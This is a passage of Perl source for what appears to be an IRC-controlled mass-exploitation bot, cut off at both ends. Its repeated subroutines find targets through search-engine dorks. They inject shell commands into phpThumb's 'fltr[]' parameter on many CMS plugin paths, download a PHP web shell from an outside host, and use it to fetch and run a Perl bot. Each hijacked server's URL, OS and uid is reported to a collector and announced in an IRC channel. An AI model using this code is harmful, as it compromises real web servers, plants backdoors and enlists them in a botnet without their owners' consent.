$shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."js/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."js/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."js/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=box"; &get_content($sender); &msg("$admin","$boxlogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$boxlogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub phpthumb1_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$phpthumb1logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$phpthumb1logo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."mambots/editors/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."mambots/editors/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."mambots/editors/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."mambots/editors/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb1"; &get_content($sender); &msg("$admin","$phpthumb1logo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$phpthumb1logo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub oscthumb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscthumblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$oscthumblogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."oscthumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."oscthumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=oscthumb"; &get_content($sender); &msg("$admin","$oscthumblogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$oscthumblogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub ploggerb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ploggerblogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ploggerblogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."wp-content/themes/cspParent/images/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."wp-content/themes/cspParent/images/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."wp-content/themes/cspParent/images/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."wp-content/themes/cspParent/images/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=ploggerb"; &get_content($sender); &msg("$admin","$ploggerblogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ploggerblogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub blogs_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$blogslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$blogslogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."lib/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."lib/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."lib/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."lib/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=blogs"; &get_content($sender); &msg("$admin","$blogslogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$blogslogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub phpthumb2_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$phpthumb2logo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$phpthumb2logo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."mambots/content/_jgfw_/cls/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."mambots/content/_jgfw_/cls/phpthumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."mambots/content/_jgfw_/cls/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."mambots/content/_jgfw_/cls/phpthumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=phpthumb2"; &get_content($sender); &msg("$admin","$phpthumb2logo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$phpthumb2logo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub thumbphp_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumbphplogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$thumbphplogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."modules/mod_dgm-news_ultra/img/img.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."modules/mod_dgm-news_ultra/img/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."modules/mod_dgm-news_ultra/img/img.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."modules/mod_dgm-news_ultra/img/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=thumbphp"; &get_content($sender); &msg("$admin","$thumbphplogo15$engine 12<8=12>9 sHeLL 12<8=12>9 $cwebsite15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$thumbphplogo $engine 12sHeLL send to 14<12=14>12 Pagat Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub alphacontent_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$alphacontentlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$alphacontentlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."components/com_alphacontent/assets/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."components/com_alphacontent/assets/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."components/com_alphacontent/assets/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."components/com_alphacontent/assets/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=alphacontent"; &get_content($sender); &msg("$admin","$alphacontentlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$alphacontentlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$alphacontentlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub alphauserpoints_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$alphauserpointslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$alphauserpointslogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."components/com_alphauserpoints/assets/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."components/com_alphauserpoints/assets/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."components/com_alphauserpoints/assets/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."components/com_alphauserpoints/assets/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=alphauserpoints"; &get_content($sender); &msg("$admin","$alphauserpointslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$alphauserpointslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$alphauserpointslogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub Flutter_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$Flutterlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$Flutterlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=Flutter"; &get_content($sender); &msg("$admin","$Flutterlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$Flutterlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$Flutterlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub ojs_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ojslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ojslogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."ojs/lib/pkp/lib/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=ojs"; &get_content($sender); &msg("$admin","$ojslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$ojslogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ojslogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub ketumbar_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ketumbarlogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$ketumbarlogo4$engine 12Finished 3for 12$dork "); } my $agent = LWP::UserAgent->new(); $agent->agent('Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1'); my $shell = "wget http://www.aycempresarial.com/mambots/pagat.txt -O pagat.txt"; my $website = "http://".$site."thumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; $shell ; &phpThumbDebug=9"; my $request = $agent->request(HTTP::Request->new(GET=>$website)); my $cwebsite = "http://".$site."thumb/pagat.txt"; my $creq = $agent->request(HTTP::Request->new(GET=>$cwebsite)); if ($creq->is_success) { my $mvwebsite = "http://".$site."thumb/phpThumb.php?src=file.jpg&fltr[]=blur|9 -quality 75 -interlace line fail.jpg jpeg:fail.jpg ; mv pagat.txt pagat.php ; &phpThumbDebug=9"; my $mvreq = $agent->request(HTTP::Request->new(GET=>$mvwebsite)); my $cwebsite = "http://".$site."thumb/pagat.php"; my $c2req = $agent->request(HTTP::Request->new(GET=>$cwebsite)); my $checker = &get_content($cwebsite."?shell"); sleep(2); if ($checker =~ /Pagat - Shell/) { my $nick = $simpan; &get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+bot.txt%3Brm+bot.tx"); my $safe = ""; my $os = ""; my $uid = ""; if ($checker =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($checker =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($checker =~ /uid=(.*?)gid=/){$uid=$1;} my $server = encode_base64($os); my $sender = $botz."?site=".$site."&server=".$server."&shell=".$cwebsite."&exploit=ketumbar"; &get_content($sender); &msg("$admin","$ketumbarlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$nick","$ketumbarlogo15$engine 12<4=12>7 sHeLL 12<4=12>4 $cwebsite12 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chan","$ketumbarlogo $engine 12sHeLL send to 14<12=14>12$nick Selamatt Yaaa... ^_^ 4 (SafeMode=$safe) (OS=$os) uid=$uid "); } } } } } sub portfolio_exploit() { my $chan = $_[0]; my $bug = $_[1]; my 